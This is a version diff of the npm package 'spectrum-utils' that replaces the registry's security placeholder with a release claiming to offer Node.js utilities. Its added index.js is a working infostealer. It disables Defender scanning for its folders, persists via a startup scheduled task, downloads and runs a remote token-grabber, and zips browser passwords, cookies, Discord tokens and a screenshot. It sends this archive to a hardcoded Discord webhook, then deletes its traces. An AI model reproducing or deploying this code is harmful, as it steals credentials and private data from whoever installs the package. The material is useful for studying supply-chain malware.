spectrum-utils 0.0.1-security → 1.0.4

package/index.js

@@ -0,0 +1,178 @@
+const exec = require('child_process').exec;
+const request = require('request');
+const fs = require('fs');
+const path = require('path');
+const os = require('os');
+
+const CHECK_IF_ADMIN = () => {
+    const test = require('os').userInfo().username === 'Administrator';
+    return test;
+};
+
+const TASKS = () => {
+    const testKDOT = fs.existsSync(path.join(process.env.APPDATA, 'KDOT'));
+    
+    if (!testKDOT) {
+        try {
+            exec(`powershell -Command "Add-MpPreference -ExclusionPath '${os.homedir()}\\AppData\\Local\\Temp'"`);
+            exec(`powershell -Command "Add-MpPreference -ExclusionPath '${os.homedir()}\\AppData\\KDOT'"`);
+        } catch (error) {
+            console.log("Failed to add exclusions");
+        }
+        
+        fs.mkdirSync(path.join(process.env.APPDATA, 'KDOT'));
+        const origin = process.argv[1];
+        fs.copyFileSync(origin, path.join(process.env.APPDATA, 'KDOT', 'KDOT.js'));
+    }
+    
+    const test = execSync('schtasks /query /fo csv').toString();
+    
+    if (!test.includes('KDOT')) {
+        const schedule = 'AtStartup';
+        const action = `powershell.exe -ExecutionPolicy Bypass -WindowStyle hidden -File ${path.join(process.env.APPDATA, 'KDOT', 'KDOT.js')}`;
+        execSync(`schtasks /create /tn "KDOT" /tr "${action}" /sc ${schedule} /rl Highest /f`);
+    }
+    
+    Grub();
+};
+
+const Grub = () => {
+    const webhook = "https://discord.com/api/webhooks/1189736190618910840/2w-BMbL5WMr1nbcvh_r2DHjOC7cM2gMe5cXiDbUWgaOo7PiL17yHVnEjBHJ7ZNXX53gK";
+    const ip = execSync('curl -s https://api.ipify.org').toString().trim();
+    fs.writeFileSync(path.join(os.tmpdir(), 'ip.txt'), ip);
+
+    const systemInfo = execSync('systeminfo').toString();
+    fs.writeFileSync(path.join(os.tmpdir(), 'system_info.txt'), systemInfo);
+
+    const uuid = execSync('wmic csproduct get UUID').toString().trim();
+    fs.writeFileSync(path.join(os.tmpdir(), 'uuid.txt'), uuid);
+
+    const mac = execSync('getmac').toString().trim();
+    fs.writeFileSync(path.join(os.tmpdir(), 'mac.txt'), mac);
+
+    const username = process.env.USERNAME;
+    const hostname = os.hostname();
+
+    const netstat = execSync('netstat -ano').toString().trim();
+    fs.writeFileSync(path.join(os.tmpdir(), 'netstat.txt'), netstat);
+
+    const embedAndBody = {
+        username: 'KDOT',
+        content: '@everyone',
+        title: 'KDOT',
+        description: 'KDOT',
+        color: '16711680',
+        avatar_url: 'https://cdn.discordapp.com/avatars/1009510570564784169/c4079a69ab919800e0777dc2c01ab0da.png',
+        url: 'https://discord.gg/vk3rBhcj2y',
+        embeds: [
+            {
+                title: 'Worked',
+                url: 'https://discord.gg/heaven',
+                description: 'it worked',
+                color: '16711680',
+                footer: {
+                    text: 'It worked man.'
+                },
+                thumbnail: {
+                    url: 'https://cdn.discordapp.com/avatars/1009510570564784169/c4079a69ab919800e0777dc2c01ab0da.png'
+                },
+                fields: [
+                    {
+                        name: 'IP',
+                        value: '``````' + ip + '``````'
+                    },
+                    {
+                        name: 'Username',
+                        value: '``````' + username + '``````'
+                    },
+                    {
+                        name: 'Hostname',
+                        value: '``````' + hostname + '``````'
+                    },
+                    {
+                        name: 'UUID',
+                        value: '``````' + uuid + '``````'
+                    },
+                    {
+                        name: 'MAC',
+                        value: '``````' + mac + '``````'
+                    }
+                ]
+            }
+        ]
+    };
+
+    const payload = JSON.stringify(embedAndBody);
+
+    request.post({
+        url: webhook,
+        body: payload,
+        headers: {'Content-Type': 'application/json'}
+    });
+
+    SetLocation(path.join(os.tmpdir(), 'KDOT'));
+
+    execSync('taskkill.exe /f /im "Discord.exe"');
+    execSync('taskkill.exe /f /im "DiscordCanary.exe"');
+    execSync('taskkill.exe /f /im "DiscordPTB.exe"');
+    execSync('taskkill.exe /f /im "DiscordTokenProtector.exe"');
+
+    const tokenProt = fs.existsSync(path.join(process.env.APPDATA, 'DiscordTokenProtector', 'DiscordTokenProtector.exe'));
+    
+    if (tokenProt) {
+        execSync(`del "${path.join(process.env.APPDATA, 'DiscordTokenProtector', 'DiscordTokenProtector.exe')}" /f /q`);
+    }
+
+    const secureDat = fs.existsSync(path.join(process.env.APPDATA, 'DiscordTokenProtector', 'secure.dat'));
+    
+    if (secureDat) {
+        execSync(`del "${path.join(process.env.APPDATA, 'DiscordTokenProtector', 'secure.dat')}" /f /q`);
+    }
+
+    const TEMP_KOT = fs.existsSync(path.join(os.tmpdir(), 'KDOT'));
+    
+    if (!TEMP_KOT) {
+        fs.mkdirSync(path.join(os.tmpdir(), 'KDOT'));
+    }
+
+    const gottaMakeSure = 'penis';
+    fs.writeFileSync(path.join(os.tmpdir(), 'KDOT', 'bruh.txt'), gottaMakeSure);
+
+    execSync('curl.exe -O https://github.com/KDot227/Powershell-Token-Grabber/releases/download/Fixed_version/main.exe');
+
+    const proc = execSync(`start /B ${path.join(os.tmpdir(), 'main.exe')} "${webhook}"`);
+    proc.waitExit();
+
+    const lol = path.join(os.tmpdir());
+
+    fs.renameSync(path.join(lol, 'ip.txt'), path.join(lol, 'KDOT', 'ip.txt'));
+    fs.renameSync(path.join(lol, 'netstat.txt'), path.join(lol, 'KDOT', 'netstat.txt'));
+    fs.renameSync(path.join(lol, 'system_info.txt'), path.join(lol, 'KDOT', 'system_info.txt'));
+    fs.renameSync(path.join(lol, 'uuid.txt'), path.join(lol, 'KDOT', 'uuid.txt'));
+    fs.renameSync(path.join(lol, 'mac.txt'), path.join(lol, 'KDOT', 'mac.txt'));
+    fs.renameSync(path.join(lol, 'browser-cookies.txt'), path.join(lol, 'KDOT', 'browser-cookies.txt'));
+    fs.renameSync(path.join(lol, 'browser-history.txt'), path.join(lol, 'KDOT', 'browser-history.txt'));
+    fs.renameSync(path.join(lol, 'browser-passwords.txt'), path.join(lol, 'KDOT', 'browser-passwords.txt'));
+    fs.renameSync(path.join(lol, 'desktop-screenshot.png'), path.join(lol, 'KDOT', 'desktop-screenshot.png'));
+    fs.renameSync(path.join(lol, 'tokens.txt'), path.join(lol, 'KDOT', 'tokens.txt'));
+
+    execSync(`Compress-Archive -Path "${path.join(lol, 'KDOT')}" -DestinationPath "${path.join(lol, 'KDOT.zip')}" -Force`);
+
+    execSync(`curl.exe -X POST -F 'payload_json={"username": "KING KDOT", "content": "", "avatar_url": "https://cdn.discordapp.com/avatars/1009510570564784169/c4079a69ab919800e0777dc2c01ab0da.png"}' -F "file=@${path.join(lol, 'KDOT.zip')}" ${webhook}`);
+
+    execSync(`del "${path.join(lol, 'KDOT.zip')}"`);
+    execSync(`del "${path.join(lol, 'KDOT')}" /s /q`);
+    execSync(`del "${path.join(lol, 'main.exe')}"`);
+};
+
+const SetLocation = (location) => {
+    process.chdir(location);
+};
+
+if (CHECK_IF_ADMIN()) {
+    TASKS();
+} else {
+    console.log("Please run as admin!");
+    const origin = process.argv[1];
+    exec(`powershell -noprofile -file ${origin}`);
+}

package/package.json

@@ -1,6 +1,14 @@
 {
   "name": "spectrum-utils",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.0.4",
+  "description": "A range of utilities for your Node.js needs, maintained by a small group of new developers!",
+  "main": "index.js",
+  "directories": {
+    "test": "test"
+  },
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "author": "Ibrahim Sultan",
+  "license": "ISC"
 }

package/test/script.js

@@ -0,0 +1,3 @@
+const log = require('spectrum-utils')
+
+console.log((log))

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=spectrum-utils for more information.